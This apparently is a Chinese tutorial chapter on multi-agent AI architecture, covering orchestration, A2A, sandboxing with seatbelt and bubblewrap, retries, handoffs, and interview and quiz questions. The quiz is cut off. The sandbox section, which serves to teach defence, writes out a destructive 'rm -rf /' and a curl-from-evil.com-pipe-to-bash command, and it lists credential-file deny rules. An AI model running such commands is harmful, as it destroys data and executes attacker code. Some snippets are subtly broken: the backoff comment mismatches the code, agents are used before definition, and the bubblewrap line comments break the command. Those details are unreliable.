西瓜空间站

多 Agent 系统架构

7/6/2026 AI Agent多 Agent协作模式通信机制

# 多 Agent 系统架构

📅 发布于 2026-07-06

从一个 Agent 到一个 Agent 团队

# 10.1 单 Agent 的瓶颈

单个 Agent 就像一个"全栈工程师"——什么都干。但随着任务复杂度提升，瓶颈出现：

❌ 单 Agent 的瓶颈

  • Prompt 膨胀：所有工具+规则塞一个 prompt
  • 角色混乱：又要搜索又要分析又要写报告
  • 错误传播：一步错步步错，无法纠偏
  • 上下文爆炸：长任务 token 消耗线性增长
  • 无法并行：串行执行效率低

✅ 多 Agent 的优势

  • 职责分离：每个 Agent 专注一个角色
  • Prompt 精简：每个 Agent 只需自己的工具和规则
  • 互相纠错：Agent 之间可以审查和纠正
  • 并行执行：独立子任务同时进行
  • 可扩展：新增能力只需加新 Agent

一个人干不过一个团队。单 Agent 是全栈工程师，多 Agent 是专业团队。

# 10.2 四种经典协作模式

① 串行流水线（Pipeline） 搜索Agent → 分析Agent → 写作Agent 每个 Agent 处理一个阶段，输出传给下一个。简单可靠，但无法并行。

② 编排者-执行者（Orchestrator） 编排者 Agent 分配任务，多个执行者 Agent 并行执行。 编排者分配任务，执行者各自完成后汇报。支持并行。

③ 辩论对抗（Debate） 正方 Agent ⇄ 反方 Agent 多个 Agent 对抗辩论，裁判 Agent 总结。适合需要多角度分析的任务。

④ 自主协作（Autonomous） Agent A ⇄ Agent B ⇄ Agent C Agent 之间自由通信、协商。最灵活但最难控制。代表：AutoGen。

# 10.3 编排者-执行者模式详解

这是最常用的多 Agent 模式。编排者（Orchestrator）像项目经理，执行者（Worker）像各专业工程师。

编排者-执行者工作流程： 用户请求 → 编排者 Agent(分析+分配) → [搜索 Agent(信息收集), 代码 Agent(数据处理)] → 编排者 Agent(整合+检查) → [写作 Agent(报告生成), 直接输出] → 返回用户

# 编排者的核心职责

你是一个任务编排者。你的职责：

1. 分析任务：理解用户需求，判断需要哪些专业 Agent
2. 分配任务：将子任务分配给合适的 Worker Agent
3. 整合结果：收集各 Agent 的输出，整合成完整答案
4. 质量控制：检查结果是否完整、正确，必要时重新分配

可用的 Worker Agent：
- search_agent: 擅长搜索和信息收集
- code_agent: 擅长写代码和数据处理
- writer_agent: 擅长写作和报告生成

输出格式：
{"assign": "agent_name", "task": "具体任务描述"}
或
{"final_answer": "整合后的完整回答"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 10.4 Agent 之间的通信机制

多 Agent 要协作，必须有通信机制。三种主流方案：

方案 原理 代表框架 优缺点
消息传递 Agent 通过消息队列通信 AutoGen 灵活 可能死锁
共享黑板 共享一块"黑板"读写 CrewAI 简单 并发冲突
图结构 定义节点和边的DAG LangGraph 可控 不够灵活

# 10.5 主流多 Agent 框架对比

四大框架横向对比

框架 核心模式 通信方式 特点
LangGraph 图结构 状态传递 可控性强、可可视化
AutoGen 消息传递 对话式 灵活、支持自由对话
CrewAI 角色扮演 任务传递 易上手、角色化
MetaGPT SOP标准流程 文档传递 模拟软件团队

# 10.6 A2A协议（Agent-to-Agent）

2025年4月9日，Google 发布了 A2A（Agent-to-Agent）协议——一个专门解决 Agent 与 Agent 之间协作的开放标准。如果说 MCP 解决的是 Agent 与工具的连接，那么 A2A 解决的是 Agent 与 Agent 的连接。

MCP 管 Agent ↔ 工具，A2A 管 Agent ↔ Agent。一个管"手"，一个管"嘴"。

# 为什么需要 A2A？

多 Agent 协作时，最大的痛点是互不相识：一个 Agent 不知道另一个 Agent 能做什么、怎么调用它。现有的框架（LangGraph、CrewAI等）只能在同一个系统内协作，跨系统的 Agent 之间几乎无法沟通。

跨框架协作困境： LangGraph 的 Agent 无法直接调用 CrewAI 的 Agent，AutoGen 的 Agent 无法发现 Dify 上的 Agent。每个框架都是一座孤岛。

A2A 协议的目标就是打破这些孤岛，让任何 Agent 都能发现、识别、协作其他 Agent，无论它们跑在哪个框架上。

# A2A 的四大核心机制

A2A 协议四大核心机制

① Agent Card — 能力发现 每个 Agent 发布一个 JSON 元数据文件（Agent Card），描述自己的能力、技能、认证方式和交互协议。其他 Agent 通过读取 Agent Card 就能知道"你能做什么"。

② Task 生命周期管理 定义 Task 的完整生命周期：创建（created）→ 运行（working）→ 完成（completed）/ 失败（failed）/ 拒绝（rejected）。状态变更实时同步，支持长时间任务。

③ 消息协作 Agent 之间通过结构化消息（Message）传递协作信息。消息可包含文本、文件、表单等多种内容类型，支持多轮交互和上下文累积。

④ 安全认证机制 基于 OAuth2.0 / OpenID Connect 的认证体系。Agent 之间的每次交互都需要身份验证和权限校验，确保只有授权的 Agent 才能发起协作。

# Agent Card：Agent 的"简历"

Agent Card 是 A2A 协议中最重要的概念——它就像 Agent 的一份公开简历，让其他 Agent 可以"读简历、识能力、定合作"。

{
  "name": "旅行规划Agent",
  "description": "帮助用户规划旅行路线、预订机票酒店",
  "url": "https://travel-agent.example.com/a2a",
  "capabilities": [
    {
      "name": "route_planning",
      "description": "根据目的地和偏好规划最优路线"
    },
    {
      "name": "hotel_booking",
      "description": "预订酒店并管理订单"
    }
  ],
  "authentication": {
    "schemes": ["oauth2"]
  },
  "inputModes": ["text", "image"],
  "outputModes": ["text", "file"]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

有了 Agent Card，一个"天气查询 Agent"就能发现"旅行规划 Agent"的存在，并了解它的能力，从而主动发起协作。

# Task 生命周期管理

A2A 协议定义了 Task 的完整状态流转。一个 Task 从创建到完成，经历多个状态：

Task 生命周期流转： Task 创建(created) → 运行中(working) → [完成(completed), 失败(failed), 等待输入(input-required) → 运行中(working), 拒绝(rejected)]

关键设计：Task 支持长时间运行和状态推送。发起方可以通过轮询或推送获取 Task 状态变更，无需阻塞等待。

# A2A 与 MCP 的区别

维度 MCP（Model Context Protocol） A2A（Agent-to-Agent）
连接对象 Agent ↔ 外部工具/数据源 Agent ↔ 另一个 Agent
类比 USB-C：连接外设 社交网络：发现朋友
发现机制 无（需手动配置工具列表） Agent Card 自动发现
交互模式 单向调用（调用工具获取结果） 双向协作（多轮对话、状态同步）
发起方 Anthropic（2024） Google（2025）
协议层 JSON-RPC 2.0 HTTP + JSON（REST风格）

MCP 和 A2A 不是竞争关系，而是互补关系：MCP 让 Agent 有"手"（使用工具），A2A 让 Agent 有"嘴"（与其他 Agent 协作）。一个完整的 Agent 生态两者缺一不可。

# A2A 协作流程图

以"旅行规划 + 天气查询"的跨 Agent 协作场景为例：

A2A 协作流程： 用户("帮我规划下周去杭州的旅行") → 旅行规划Agent(读取Agent Card) → 发现天气Agent(读取其Agent Card) → 创建Task("查询杭州下周天气") → 天气查询Agent(执行Task) → Task完成(返回天气数据) → 旅行规划Agent(整合天气+路线) → 返回用户(完整旅行方案)

# A2A 代码示例

# A2A 协议 — 发起跨 Agent 协作
import httpx

# Step 1: 发现 Agent（读取 Agent Card）
agent_card_url = "https://weather-agent.example.com/a2a/card.json"
agent_card = httpx.get(agent_card_url).json()

print(f"发现 Agent: {agent_card['name']}")
print(f"能力: {agent_card['capabilities']}")

# Step 2: 创建 Task（发起协作请求）
task_payload = {
    "id": "task-20250701-001",
    "message": {
        "role": "user",
        "parts": [
            {"type": "text", "text": "查询杭州下周天气预报"}
        ]
    }
}

response = httpx.post(
    "https://weather-agent.example.com/a2a/tasks",
    json=task_payload,
    headers={"Authorization": "Bearer <oauth2-token>"}
)

task = response.json()
print(f"Task 状态: {task['status']['state']}")  # working

# Step 3: 获取 Task 结果（轮询或推送）
result = httpx.get(
    f"https://weather-agent.example.com/a2a/tasks/{task['id']}",
    headers={"Authorization": "Bearer <oauth2-token>"}
)

if result.json()["status"]["state"] == "completed":
    weather_data = result.json()["artifacts"]
    print(f"天气结果: {weather_data}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

# 10.7 沙箱隔离与安全

Agent 的强大之处在于它能执行代码、访问文件、调用API。但这也带来了巨大的安全风险——如果 Agent 执行了恶意代码，后果可能是删除文件、泄露数据、甚至攻击系统。

安全风险示例： 一个代码执行 Agent 被提示词注入攻击，执行了 rm -rf / 或 curl https://evil.com | bash，后果可能是灾难性的。沙箱就是给 Agent 一个"安全房间"，即使它在房间里捣乱，也不会影响外面的世界。

# 为什么需要沙箱？

❌ 无沙箱的风险

  • Agent 执行恶意代码破坏系统
  • Agent 访问敏感文件泄露数据
  • Agent 连接恶意网络泄露信息
  • 提示词注入攻击操控 Agent

✅ 沙箱的保护

  • 代码在隔离环境中执行
  • 文件系统访问受限制
  • 网络连接受限制
  • 即使被攻击也只影响沙箱

🎯 最小权限原则

  • 只给 Agent 需要的权限
  • 文件：只允许读写指定目录
  • 网络：只允许访问指定域名
  • 进程：只允许执行指定命令

# 四大沙箱方案对比

沙箱方案对比表

方案 隔离级别 原理 隔离维度 适用场景 成本
Docker Sandbox 最强 微虚拟机独立内核 文件+网络+进程 高安全要求的代码执行 较高
bubblewrap 强 Linux namespace隔离 文件+网络 Linux环境轻量沙箱 低
seatbelt (macOS) 强 macOS系统级沙箱 文件+网络+进程 macOS环境Agent沙箱 低
E2B / PPIO 最强 云端微虚拟机 文件+网络+进程+硬件 云端安全代码执行 按使用计费

# Anthropic 沙箱方案详解

Anthropic（Claude 的开发商）在 Agent 安全方面提出了两种轻量级沙箱方案：

bubblewrap（Linux） 利用 Linux 的 namespace 和 seccomp 机制，创建轻量隔离环境。限制文件系统访问（只允许指定目录）、限制网络访问（只允许指定端口）、限制系统调用。启动速度快（毫秒级），无需完整虚拟机。

seatbelt（macOS） macOS 内置的沙箱机制，通过 sandbox-exec 命令配置权限策略。可以精确控制文件读写路径、网络连接范围、进程权限。是 macOS 上最成熟的进程级沙箱方案。

# 沙箱权限配置示例

; seatbelt 沙箱策略文件 — 最小权限原则
; 只允许 Agent 读写指定目录，访问指定网络

(version 1)
(deny default)  ; 默认拒绝所有操作

; 文件权限：只允许读写工作目录
(allow file-read* (subpath "/workspace/agent-data"))
(allow file-write* (subpath "/workspace/agent-output"))

; 网络权限：只允许访问指定API
(allow network-outbound (regex "https://api\\.openai\\.com"))
(allow network-outbound (regex "https://api\\.anthropic\\.com"))

; 进程权限：只允许执行Python
(allow process-exec (regex "/usr/bin/python3"))
(allow process-exec (regex "/usr/local/bin/pip3"))

; 拒绝危险操作
(deny file-read* (subpath "/etc/shadow"))
(deny file-read* (subpath "/Users/*/ssh"))
(deny network-outbound (regex ".*"))  ; 先拒绝所有，再逐条放开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# bubblewrap 沙箱 — 最小权限启动 Agent 代码执行
bwrap \
  --ro-bind /usr /usr \              # 只读挂载系统目录
  --ro-bind /lib /lib \              # 只读挂载库目录
  --bind /workspace/agent-data /data \ # 可读写挂载工作目录
  --dev /dev \                        # 最小设备访问
  --unshare-net \                     # 禁用网络（如需网络则逐条放开）
  --die-with-parent \                 # 父进程退出时沙箱也退出
  --new-session \                     # 创建新session隔离
  python3 /data/agent_task.py          # 执行Agent任务
1
2
3
4
5
6
7
8
9
10

最小权限原则是沙箱安全的基石：默认拒绝所有权限，只逐条放开 Agent 必需的权限。宁可多一步手动配置，不可少一层安全防线。

# 10.8 多Agent系统的生产实践

从实验室到生产环境，多 Agent 系统需要面对数据格式、错误处理、监控追踪、成本控制四大工程挑战。

# 10.8.1 通信数据格式标准化

Agent 之间传递的数据必须有统一的格式约定，否则"鸡同鸭讲"：

Agent 通信数据格式规范

字段 类型 说明
task_id string 唯一任务标识，用于追踪整个流转链路
from_agent string 发送方 Agent 名称/ID
to_agent string 接收方 Agent 名称/ID
content object 消息内容（文本/数据/文件引用）
status string 任务状态（pending/running/completed/failed）
timestamp string ISO8601时间戳，用于时序追踪和排序
# Agent 间通信的标准化消息格式
{
    "task_id": "task-20250701-001",
    "from_agent": "search_agent",
    "to_agent": "analysis_agent",
    "content": {
        "type": "search_results",
        "data": [
            {"title": "2025年AI发展趋势", "url": "...", "summary": "..."},
            {"title": "多Agent协作最新进展", "url": "...", "summary": "..."}
        ]
    },
    "status": "completed",
    "timestamp": "2025-07-01T10:30:00Z",
    "metadata": {
        "tokens_used": 1520,
        "execution_time_ms": 3500
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 10.8.2 错误处理与重试策略

多 Agent 系统中，任何一个 Agent 都可能出错。关键是要有容错机制，不让一个 Agent 的失败拖垮整个系统：

① 降级策略 某个 Agent 失败时，编排者降级处理：跳过该步骤或用备选 Agent 替代。例如搜索 Agent 超时，编排者用缓存数据替代。

② 重试策略 可恢复的错误（网络抖动、API限流）采用指数退避重试。最多重试 3 次，每次间隔递增（1s→4s→16s）。不可恢复的错误直接降级。

③ 级联阻断 设置超时上限和重试上限。如果一个 Agent 重试3次仍失败，编排者放弃该子任务，用部分结果继续推进，而非无限等待。

④ 任务完成标准 提前定义清晰的任务完成标准（如输出格式校验、关键信息完整性检查），满足条件立即终止任务，避免无效迭代。配合最大迭代次数和状态机控制，从机制上杜绝无限循环。

# 多 Agent 错误处理与重试策略
import asyncio
from datetime import datetime

class AgentRetryPolicy:
    """Agent 重试策略配置"""
    max_retries = 3           # 最大重试次数
    base_delay = 1.0          # 基础延迟（秒）
    max_delay = 60.0          # 最大延迟（秒）
    timeout_per_attempt = 30  # 单次超时（秒）

    def get_delay(self, attempt: int) -> float:
        """指数退避：1s → 4s → 16s"""
        delay = self.base_delay * (2 ** attempt)
        return min(delay, self.max_delay)

async def call_agent_with_retry(agent, task, policy=AgentRetryPolicy()):
    """带重试的 Agent 调用"""
    for attempt in range(policy.max_retries + 1):
        try:
            result = await asyncio.wait_for(
                agent.execute(task),
                timeout=policy.timeout_per_attempt
            )
            return result  # 成功，返回结果
        except asyncio.TimeoutError:
            print(f"[{datetime.now()}] Agent {agent.name} 超时，"
                  f"第 {attempt + 1} 次重试")
        except ConnectionError as e:
            print(f"[{datetime.now()}] Agent {agent.name} 连接错误: {e}")
            if attempt >= policy.max_retries:
                return {"status": "failed", "reason": "连接不可恢复"}
        except Exception as e:
            print(f"[{datetime.now()}] Agent {agent.name} 未知错误: {e}")
            return {"status": "failed", "reason": str(e)}

        # 等待退避时间后重试
        delay = policy.get_delay(attempt)
        await asyncio.sleep(delay)

    # 重试耗尽，降级处理
    return {"status": "degraded", "reason": "重试耗尽，降级处理"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

# 10.8.3 监控与可观测性

生产环境中，你需要知道每个 Agent 做了什么、花了多少、是否异常。这需要完整的可观测性体系：

Agent 可观测性三支柱

日志（Logging） 记录每个 Agent 的输入、输出、决策过程。结构化日志（JSON格式），包含 task_id、agent_name、timestamp，便于检索和回溯。

指标（Metrics） 量化指标：Token 消耗量、执行时间、成功/失败率、重试次数。用 Prometheus + Grafana 可视化，设阈值告警。

追踪（Tracing） 跟踪一个任务在多个 Agent 之间的完整流转链路。类似微服务的分布式追踪，每个 Agent 是一个"span"，task_id 是"trace_id"。

# 结构化日志 — Agent 行为追踪
import structlog

logger = structlog.get_logger()

# 编排者分配任务时记录
logger.info("task_assigned",
    task_id="task-20250701-001",
    from_agent="orchestrator",
    to_agent="search_agent",
    task_desc="搜索AI发展趋势",
    timestamp="2025-07-01T10:30:00Z")

# 搜索 Agent 完成时记录
logger.info("task_completed",
    task_id="task-20250701-001",
    agent="search_agent",
    tokens_used=1520,
    execution_time_ms=3500,
    result_count=5)

# 分析 Agent 处理时记录
logger.info("task_started",
    task_id="task-20250701-001",
    agent="analysis_agent",
    input_from="search_agent",
    timestamp="2025-07-01T10:33:30Z")

# 追踪链路可视化：
# orchestrator → search_agent → analysis_agent → writer_agent
# 每一步都有 task_id 关联，可完整回溯
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 10.8.4 成本控制：Token 消耗管理

多 Agent 系统的 Token 消耗是倍增的——3 个 Agent 各独立调用 LLM，总消耗是 3 倍。不加控制，一个小任务可能烧掉几美元的 Token：

成本倍增效应： 单 Agent 完成一个任务消耗 1000 Token。3 个 Agent 各消耗 1000 Token，加上编排者消耗 500 Token，总计 3500 Token——是单 Agent 的 3.5 倍。如果 Agent 数量更多、任务更长，成本快速失控。

Token 成本控制五大策略

策略 原理 效果
按需分配 编排者只在需要时才调用 Agent，避免无效调用 减少 30-50% 无效 Token
精简 Prompt 每个 Agent 的 Prompt 只包含自己的工具和规则 减少 40-60% 上下文 Token
结果压缩 Agent 输出只传递关键信息而非完整上下文 减少 50-70% 传递 Token
分级模型 简单任务用小模型（GPT-4o-mini），复杂任务用大模型 成本降低 60-80%
预算上限 设置单任务/单日 Token 预算上限，超限降级处理 防止成本失控

# 10.8.5 实战案例：调研+分析+写作多Agent工作流

以一个完整的"行业调研报告生成"场景为例，展示多 Agent 编排的全流程：

行业调研工作流流程： 用户输入("写一份AI行业调研报告") → 编排者 Agent(任务拆分+分配) → [调研 Agent(搜索+收集资料), 分析 Agent(数据提取+统计)] → 编排者 Agent(合并+检查) → 写作 Agent(生成报告) → 审核 Agent(质量检查) → [审核通过→返回用户(完整报告), 需要修改→返回写作 Agent]

# 生产级多 Agent 工作流编排
import asyncio
from dataclasses import dataclass
from typing import Optional

@dataclass
class AgentResult:
    agent_name: str
    status: str        # completed / failed / degraded
    content: dict
    tokens_used: int
    execution_time_ms: int

class ProductionOrchestrator:
    """生产级编排者：带错误处理、成本控制、追踪"""

    def __init__(self, budget_limit_tokens=10000):
        self.budget_limit = budget_limit_tokens
        self.total_tokens = 0
        self.trace_log = []

    async def run_workflow(self, user_request: str, max_revisions: int = 2) -> dict:
        """完整的调研+分析+写作工作流"""
        # Step 1: 编排者拆分任务
        self._log("orchestrator", "task_split", user_request)
        subtasks = self._split_task(user_request)

        # Step 2: 并行执行调研和分析
        results = await asyncio.gather(
            self._call_agent("research_agent", subtasks["research"]),
            self._call_agent("analysis_agent", subtasks["analysis"]),
            return_exceptions=True  # 容错：不因一个失败而中断
        )

        # Step 3: 处理结果（容错降级）
        research_result = self._handle_result(results[0], "research")
        analysis_result = self._handle_result(results[1], "analysis")

        # Step 4: 检查预算
        if self.total_tokens > self.budget_limit:
            self._log("orchestrator", "budget_exceeded",
                      f"已用 {self.total_tokens} tokens")
            return {"status": "budget_exceeded",
                    "partial_results": [research_result, analysis_result]}

        # Step 5: 合并后调用写作 Agent
        merged_input = self._merge_results(research_result, analysis_result)
        writer_result = await self._call_agent("writer_agent", merged_input)

        # Step 6: 审核 Agent 检查质量
        review_result = await self._call_agent("review_agent", {
            "draft": writer_result.content,
            "criteria": "完整性、准确性、可读性"
        })

        if review_result.content.get("approved"):
            return {"status": "completed",
                    "report": writer_result.content,
                    "trace": self.trace_log}
        else:
            # 审核未通过 → 修改后重新提交写作（限制修改次数，防止无限递归）
            self._log("review_agent", "revision_needed",
                      review_result.content.get("issues"))
            if max_revisions > 0:
                return await self.run_workflow(user_request, max_revisions - 1)
            else:
                return {"status": "completed_with_issues",
                        "report": writer_result.content,
                        "trace": self.trace_log,
                        "note": "达到最大修改次数，返回当前版本"}

    def _split_task(self, request: str) -> dict:
        """编排者拆分任务"""
        return {
            "research": f"搜索以下主题的最新资料: {request}",
            "analysis": f"对已有数据进行统计分析: {request}"
        }

    def _handle_result(self, result, agent_name: str) -> AgentResult:
        """容错处理：异常降级"""
        if isinstance(result, Exception):
            self._log(agent_name, "failed", str(result))
            return AgentResult(agent_name, "degraded",
                               {"note": "降级处理，使用缓存数据"}, 0, 0)
        self.total_tokens += result.tokens_used
        return result

    def _log(self, agent: str, event: str, detail: str):
        """追踪日志"""
        self.trace_log.append({
            "agent": agent, "event": event,
            "detail": detail, "timestamp": "2025-07-01T..."
        })
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

# 10.9 Handoffs机制详解

**Handoffs（任务移交）**是 OpenAI Agents SDK 中引入的核心机制，用于实现 Agent 之间的任务转移。它与编排者-执行者模式密切相关，但更轻量、更灵活。

Handoffs 就像接力赛中的交接棒——一个 Agent 完成了自己的部分，把"棒"（任务上下文）交给下一个 Agent 继续跑。

# 什么是 Handoffs？

在 Handoffs 机制中，每个 Agent 定义了自己可以移交的 Agent 列表。当一个 Agent 在处理任务时，判断当前任务更适合另一个 Agent 处理，它就会调用 transfer_to_xxx 工具，把任务连同上下文一起移交给目标 Agent。

Handoffs 流程

  • Agent A 处理任务，判断需要移交
  • Agent A 调用 transfer_to_B 工具
  • 任务上下文（对话历史+状态）传给 Agent B
  • Agent B 从 Agent A 的结果继续处理
  • Agent B 完成后直接返回用户

与编排者-执行者的区别

  • 编排者模式：中央控制，所有分配由编排者决定
  • Handoffs：去中心化，Agent 自己判断何时移交
  • 编排者更像"项目经理"，Handoffs更像"接力赛"
  • Handoffs 更灵活但可控性略弱
  • 两者可以结合：编排者做初始分配，Agent内用Handoffs

# Handoffs 流程图

Handoffs 工作流程： 用户请求("帮我分析这份财报") → 分流 Agent(判断任务类型) → [Handoff:财务相关→财务分析Agent(处理财务数据), Handoff:市场相关→市场分析Agent(处理市场趋势)] → Handoff:移交总结→总结 Agent(汇总报告) → 返回用户(完整分析报告)

# Handoffs 代码示例

# OpenAI Agents SDK — Handoffs 机制
from agents import Agent, Runner

# 定义三个 Agent，各自声明可移交的目标
triage_agent = Agent(
    name="分流Agent",
    instructions="""你是用户请求的分流员。
    根据用户请求判断最适合处理的 Agent：
    - 贡献分析请求 → transfer_to_finance_agent
    - 市场趋势请求 → transfer_to_market_agent
    - 综合请求 → transfer_to_summary_agent
    """,
    handoffs=[finance_agent, market_agent]  # 可移交的Agent列表
)

finance_agent = Agent(
    name="财务分析Agent",
    instructions="""你是专业的财务分析师。
    分析财报数据、计算关键指标、评估财务健康状况。
    完成分析后，将结果移交给总结Agent生成报告。
    """,
    handoffs=[summary_agent]  # 完成后移交总结Agent
)

market_agent = Agent(
    name="市场分析Agent",
    instructions="""你是专业的市场分析师。
    分析市场趋势、竞争格局、行业动态。
    完成分析后，将结果移交给总结Agent生成报告。
    """,
    handoffs=[summary_agent]  # 完成后移交总结Agent
)

summary_agent = Agent(
    name="总结Agent",
    instructions="""你是报告总结专家。
    整合其他Agent的分析结果，生成一份完整的分析报告。
    """,
    handoffs=[]  # 终点Agent，不再移交
)

# 运行多Agent协作
result = await Runner.run(
    starting_agent=triage_agent,  # 从分流Agent开始
    messages=[{"role": "user",
               "content": "帮我分析苹果公司2025年Q1财报"}]
)

# Runner 自动处理 Handoffs：
# triage → finance → summary → 返回结果
print(result.final_output)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

Handoffs 关键设计点： ① 每个 Agent 的 handoffs 列表限定了它可以移交的范围，防止无限循环移交 ② 移交时，完整对话历史会传递给下一个 Agent，确保上下文连续 ③ 移交是 Agent 的自主决策（通过 LLM 判断），而非硬编码规则 ④ Runner 跟踪整个移交链路，可记录和回溯每一步决策

# 面试八股

Q1：为什么需要多 Agent？单 Agent 有什么瓶颈？

A： 单 Agent 瓶颈：① Prompt 膨胀（所有工具和规则塞一个 prompt）；② 角色混乱（又要搜索又要分析又要写作）；③ 错误传播（一步错步步错）；④ 上下文爆炸（token 线性增长）；⑤ 无法并行。多 Agent 优势：职责分离、Prompt 精简、互相纠错、并行执行、可扩展。类比：单 Agent 是全栈工程师，多 Agent 是专业团队。

Q2：多 Agent 的四种经典协作模式是什么？

A： ① 串行流水线：搜索→分析→写作，每个 Agent 处理一个阶段，简单可靠但无法并行。② 编排者-执行者：编排者分配任务，执行者并行完成后汇报。最常用。③ 辩论对抗：多个 Agent 对抗辩论，裁判总结。适合多角度分析。④ 自主协作：Agent 之间自由通信协商。最灵活但最难控制。

Q3：编排者-执行者模式中，编排者的核心职责是什么？

A： 四个核心职责：① 分析任务：理解用户需求，判断需要哪些专业 Agent；② 分配任务：将子任务分配给合适的 Worker Agent；③ 整合结果：收集各 Agent 输出，整合成完整答案；④ 质量控制：检查结果完整性和正确性，必要时重新分配。

Q4：Agent 之间的三种通信机制？各自代表框架？

A： ① 消息传递：Agent 通过消息队列通信（AutoGen）。灵活但可能死锁。② 共享黑板：共享一块"黑板"读写（CrewAI）。简单但有并发冲突。③ 图结构：定义节点和边的 DAG（LangGraph）。可控但不够灵活。

Q5：LangGraph、AutoGen、CrewAI 各有什么特点？怎么选？

A： LangGraph：图结构，可控性强、可可视化调试。适合需要精确控制流程的场景。AutoGen：消息传递，支持 Agent 自由对话。适合探索性、灵活协作的场景。CrewAI：角色扮演，定义角色和任务。易上手，适合标准化的团队协作场景。选择：要可控选 LangGraph，要灵活选 AutoGen，要简单选 CrewAI。

Q6：A2A协议的核心机制是什么？与MCP有什么区别？

A： A2A四大核心机制：① Agent Card：能力发现，Agent发布JSON元数据文件描述自身能力；② Task生命周期：创建→运行→完成/失败/拒绝，状态实时同步；③ 消息协作：Agent间结构化消息传递，支持多轮交互；④ 安全认证：OAuth2.0身份验证和权限校验。与MCP的区别：MCP管Agent↔工具（单向调用），A2A管Agent↔Agent（双向协作）。两者互补而非竞争。

Q7：沙箱隔离有哪些主流方案？选型依据是什么？

A： 四大沙箱方案：① Docker Sandbox：微虚拟机，独立内核，隔离级别最高，适合高安全代码执行；② bubblewrap：Linux namespace隔离，轻量快速，适合Linux环境；③ seatbelt：macOS系统级沙箱，精确权限控制，适合macOS环境；④ E2B/PPIO：云端微虚拟机，硬件级隔离，按使用计费。选型依据：安全要求高→Docker/E2B；轻量快速→bubblewrap/seatbelt；最小权限原则是核心。

Q8：多Agent生产实践中有哪些关键要点？

A： 四大工程要点：① 通信数据格式标准化：task_id + from/to_agent + content + status + timestamp；② 错误处理与重试：指数退避重试、降级策略、级联阻断；③ 监控与可观测性：日志（结构化记录）、指标（Token/时间/成功率）、追踪（分布式链路）；④ 成本控制：按需分配、精简Prompt、结果压缩、分级模型、预算上限。

Q9：Handoffs机制是什么？与编排者模式有什么关系？

A： Handoffs是OpenAI Agents SDK中的任务移交机制：核心思想：Agent自主判断何时移交任务，调用transfer_to_xxx工具将任务连同上下文交给下一个Agent。与编排者模式的区别：编排者是中央控制（项目经理），Handoffs是去中心化（接力赛）。关键设计：handoffs列表限定移交范围防循环、完整对话历史确保上下文连续、移交是LLM自主决策。两者可结合：编排者做初始分配，Agent内部用Handoffs灵活流转。

# 课后练习

# 第 1 题（单选）

多 Agent 系统相比单 Agent 的核心优势是什么？

A. 使用更大的 LLM 模型 B. 职责分离、可并行执行、互相纠错 C. 不需要 LLM 就能运行 D. Token 消耗更少

答案与解析

答案：B

职责分离（每个 Agent 专注一个角色）、并行执行（独立子任务同时进行）、互相纠错（Agent 之间可以审查）。

# 第 2 题（单选）

编排者-执行者模式中，编排者的职责不包括以下哪项？

A. 分析任务并判断需要哪些Agent B. 分配子任务给Worker Agent C. 实际执行搜索或代码任务 D. 整合结果并检查质量

答案与解析

答案：C

编排者不实际执行任务，而是分析、分配、整合、检查。执行由 Worker Agent 完成。

# 第 3 题（单选）

以下哪个框架使用图结构定义 Agent 协作流程？

A. AutoGen B. LangGraph C. CrewAI D. MetaGPT

答案与解析

答案：B

LangGraph 使用图结构（DAG）定义 Agent 节点和边，可控性强、可可视化调试。

# 第 4 题（单选）

辩论对抗模式最适合什么场景？

A. 简单的搜索任务 B. 需要多角度分析的问题 C. 代码执行任务 D. 文件操作任务

答案与解析

答案：B

辩论对抗模式让多个 Agent 从不同角度分析同一问题，通过对抗发现盲点，适合需要多角度分析的问题。

# 第 5 题（单选）

CrewAI 框架的核心特点是？

A. 图结构流程控制 B. 消息传递自由对话 C. 角色扮演和任务分配 D. SOP 标准流程

答案与解析

答案：C

CrewAI 核心特点是角色扮演：定义角色（Role）、目标（Goal）和任务（Task），让 Agent 像团队成员一样协作。

# 第 6 题（单选）

A2A协议中的Agent Card是什么？

A. Agent的训练数据卡片 B. 描述Agent能力的JSON元数据文件，用于能力发现 C. Agent的安全认证证书 D. Agent与MCP工具的连接配置

答案与解析

答案：B

Agent Card是A2A协议中的能力发现机制——每个Agent发布一个JSON元数据文件，描述自己的能力、技能和交互协议，让其他Agent可以"读简历、识能力"。

# 第 7 题（单选）

以下哪种沙箱方案最适合macOS环境的轻量级隔离？

A. Docker Sandbox B. bubblewrap C. seatbelt D. E2B

答案与解析

答案：C

seatbelt是macOS内置的沙箱机制，通过sandbox-exec命令配置权限策略，是macOS上最成熟的轻量进程级沙箱方案。

# 第 8 题（多选）

以下哪些是多 Agent 的通信机制？（多选）

A. 消息传递 B. 共享黑板 C. 图结构 D. 数据库查询

答案与解析

答案：A、B、C

三种通信机制：消息传递（AutoGen）、共享黑板（CrewAI）、图结构（LangGraph）。数据库查询不是 Agent 间的通信机制。

# 第 9 题（多选）

关于串行流水线模式，以下说法正确的是？（多选）

A. 每个 Agent 处理一个阶段，输出传给下一个 B. 实现简单可靠 C. 可以并行执行多个子任务 D. 总耗时等于各阶段耗时之和

答案与解析

答案：A、B、D

串行流水线是串行执行，无法并行。总耗时等于各阶段耗时之和。简单可靠但效率不如并行模式。

# 第 10 题（多选）

选择多 Agent 框架时，以下考虑因素哪些是正确的？（多选）

